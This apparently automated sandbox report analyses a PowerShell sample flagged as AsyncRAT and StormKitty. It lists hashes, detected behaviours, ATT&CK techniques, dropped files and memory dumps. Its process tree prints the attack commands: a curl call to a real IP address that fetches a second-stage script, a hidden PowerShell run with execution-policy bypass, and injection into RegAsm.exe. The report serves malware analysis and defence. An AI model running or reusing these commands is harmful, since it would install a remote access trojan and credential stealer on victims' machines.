asyncrat | b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff

General

Target

b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff.ps1
Size

21KB
MD5

524fca1eea0f55f1ad6281325664dcb4
SHA1

fa39a3bb823909c0294804a32303378ac25e0492
SHA256

b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff
SHA512

a8002af2535c7fa629b7375943ade44f36fe0b76ccc324ab35d09e96931f7e5fc82c88787a423ae96ad58d2683f870693edb6f5cbafdd4b6576f3d1a09ff24b2
SSDEEP

384:zIAXUpjxl+K++gtu0P1GUK++qUpjxl6Upjxl+mATyK++IcmATpPsPWmATEP9rPva:zIAMVl+7+gbh7+3VlnVliTy7+IITJqKh

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/4324-49-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1192	powershell.exe
15	4116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1192	powershell.exe
4116	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4116 set thread context of 4324	4116	powershell.exe	93

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
4116	powershell.exe
4116	powershell.exe
4116	powershell.exe
4116	powershell.exe
4116	powershell.exe
4116	powershell.exe
4324	RegAsm.exe
4324	RegAsm.exe
4324	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	4324	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4324	RegAsm.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1192 wrote to memory of 3584	1192	powershell.exe	85
PID 1192 wrote to memory of 3584	1192	powershell.exe	85
PID 3584 wrote to memory of 1460	3584	cmd.exe	86
PID 3584 wrote to memory of 1460	3584	cmd.exe	86
PID 3584 wrote to memory of 4116	3584	cmd.exe	87
PID 3584 wrote to memory of 4116	3584	cmd.exe	87
PID 1460 wrote to memory of 3492	1460	cmd.exe	88
PID 1460 wrote to memory of 3492	1460	cmd.exe	88
PID 4116 wrote to memory of 3412	4116	powershell.exe	89
PID 4116 wrote to memory of 3412	4116	powershell.exe	89
PID 3412 wrote to memory of 1996	3412	csc.exe	90
PID 3412 wrote to memory of 1996	3412	csc.exe	90
PID 4116 wrote to memory of 2296	4116	powershell.exe	91
PID 4116 wrote to memory of 2296	4116	powershell.exe	91
PID 4116 wrote to memory of 2296	4116	powershell.exe	91
PID 4116 wrote to memory of 3732	4116	powershell.exe	92
PID 4116 wrote to memory of 3732	4116	powershell.exe	92
PID 4116 wrote to memory of 3732	4116	powershell.exe	92
PID 4116 wrote to memory of 4324	4116	powershell.exe	93
PID 4116 wrote to memory of 4324	4116	powershell.exe	93
PID 4116 wrote to memory of 4324	4116	powershell.exe	93
PID 4116 wrote to memory of 4324	4116	powershell.exe	93
PID 4116 wrote to memory of 4324	4116	powershell.exe	93
PID 4116 wrote to memory of 4324	4116	powershell.exe	93
PID 4116 wrote to memory of 4324	4116	powershell.exe	93
PID 4116 wrote to memory of 4324	4116	powershell.exe	93

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
      4⤵
      PID:3492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ml5t1vzq\ml5t1vzq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3412
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9EC0.tmp" "c:\Users\Admin\AppData\Local\Temp\ml5t1vzq\CSCFEED695757704D1E9F1E10D403F91AE.TMP"
        5⤵
        
        PID:1996
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2296
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3732
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9EC0.tmp

Filesize
1KB

MD5
f3ef9fafc4750a2416005a6ba76a9df4

SHA1
5bc8005a8181ceb20825d6e131d51db7317c0a3c

SHA256
74b1fc19798340cc84ff891ef62f74c906258861af9264adbb4cc775f85d85fc

SHA512
ce24e33f506d07ff138eb3844ae959a3eefa694e1c0699a16d2b050acc3b1e2ab15f37b6da6131cda578968c87e8439082d154f21385be3e114bc1c02c8d87b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jwnapbqf.osz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ml5t1vzq\ml5t1vzq.dll

Filesize
9KB

MD5
38cf9a116e1831996b0e1d2f1d294e15

SHA1
91de69064fdb9b6c38c4444ba8fe6b68d0305c6c

SHA256
b6a860dca0750d8ff6b6803a44f50ef3b2bc3f2298b2bf52a6240af41d617751

SHA512
7753fb86a93c4c48c9e272f29b75fd4c446d4799439add6477cd9d5a5f2204f74b5d6d8922d1756626fa9f41c4651301ec5c4544673573834048454937cfeb46

Download Submit
C:\Windows\Temp\Pack.bat

Filesize
5KB

MD5
380f7a432a6528223c05a2d48990827c

SHA1
ea7d06b5acda2f1afacd348fe64454fadaa4ece4

SHA256
cb6aaa288e92a75b77120f5996cddacf5374c5fcc3679f942554d52f740149c6

SHA512
cf16e64182cab9f2ecf9ae4351be69d0bce0833973f2071df76e1061cda9128c54392ffde006c64d41f4c26d3086cdcc85ea0410ecb29887f72f40db33a0c803

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ml5t1vzq\CSCFEED695757704D1E9F1E10D403F91AE.TMP

Filesize
652B

MD5
c90f73d273b64fa011189e87e7115e0c

SHA1
50145ec3ec6d67b80c4e0b03aaad0e29f16579da

SHA256
3276613b4db621f8eeb95157a756a276b280e3e66e45e74f89105fe2ea28a61a

SHA512
c335dfe470ee9777a71775f8cef2c77ee7104963e332dce6ca867adb2e2592167500b6fbe43815d82cd3eea6195584fcc28ccb67bc9153155ad7ab0c27560725

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ml5t1vzq\ml5t1vzq.0.cs

Filesize
10KB

MD5
4cffc8d6fe3870e0046b7be9bff146aa

SHA1
aee44d9772c5392c5da7237ba0090cbadfd4eeac

SHA256
e6518d89d7c8f761a277fe634fed0c41a4deee7c8d5cd4eaca503d88f247ec83

SHA512
42fa00f7ce8fb9f77f1c7b3b140bb6708d01609bbc77514e86d34c1ed82b2d6a0a4f4775674043c3e4a486e4e19f3dcf3c0d33f73fcd79e75126b2f42fac136a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ml5t1vzq\ml5t1vzq.cmdline

Filesize
204B

MD5
4307b1b3ab2b93b598893f0876a339d8

SHA1
3366e8852b686ba19932956f4255b963ec692ea9

SHA256
c682dd964e22843c41c4c0db1370b54332ee8f4eb0ba410386cb31148ebc7ca2

SHA512
de8abaa3904dcd2faf3d1e1c639aad9a4a56ccad8b8c843483c7c554907068714046f7e460861f933ff5bdce89e00a756fa250102f9024fe4de019840f29d548

Download Submit
memory/1192-0-0x00007FFE58A43000-0x00007FFE58A45000-memory.dmp

Filesize
8KB

Download
memory/1192-1-0x00000147E70A0000-0x00000147E70C2000-memory.dmp

Filesize
136KB

Download
memory/1192-11-0x00007FFE58A40000-0x00007FFE59501000-memory.dmp

Filesize
10.8MB

Download
memory/1192-12-0x00007FFE58A40000-0x00007FFE59501000-memory.dmp

Filesize
10.8MB

Download
memory/1192-18-0x00007FFE58A40000-0x00007FFE59501000-memory.dmp

Filesize
10.8MB

Download
memory/4116-34-0x000001EBECD00000-0x000001EBECD0E000-memory.dmp

Filesize
56KB

Download
memory/4116-51-0x00007FFE58A40000-0x00007FFE59501000-memory.dmp

Filesize
10.8MB

Download
memory/4116-33-0x000001EBEDC90000-0x000001EBEDD06000-memory.dmp

Filesize
472KB

Download
memory/4116-32-0x000001EBED820000-0x000001EBED864000-memory.dmp

Filesize
272KB

Download
memory/4116-27-0x00007FFE58A40000-0x00007FFE59501000-memory.dmp

Filesize
10.8MB

Download
memory/4116-21-0x00007FFE58A40000-0x00007FFE59501000-memory.dmp

Filesize
10.8MB

Download
memory/4116-47-0x000001EBECD10000-0x000001EBECD18000-memory.dmp

Filesize
32KB

Download
memory/4116-20-0x00007FFE58A40000-0x00007FFE59501000-memory.dmp

Filesize
10.8MB

Download
memory/4324-49-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4324-52-0x0000000005CF0000-0x0000000006294000-memory.dmp

Filesize
5.6MB

Download
memory/4324-53-0x0000000005B00000-0x0000000005B92000-memory.dmp

Filesize
584KB

Download
memory/4324-54-0x0000000005850000-0x000000000585A000-memory.dmp

Filesize
40KB

Download
memory/4324-57-0x0000000006980000-0x0000000006A1C000-memory.dmp

Filesize
624KB

Download
memory/4324-58-0x0000000006A20000-0x0000000006A86000-memory.dmp

Filesize
408KB

Download
memory/4324-59-0x0000000006DE0000-0x0000000006E02000-memory.dmp

Filesize
136KB

Download
memory/4324-60-0x0000000006E10000-0x0000000007164000-memory.dmp

Filesize
3.3MB

Download

Analysis

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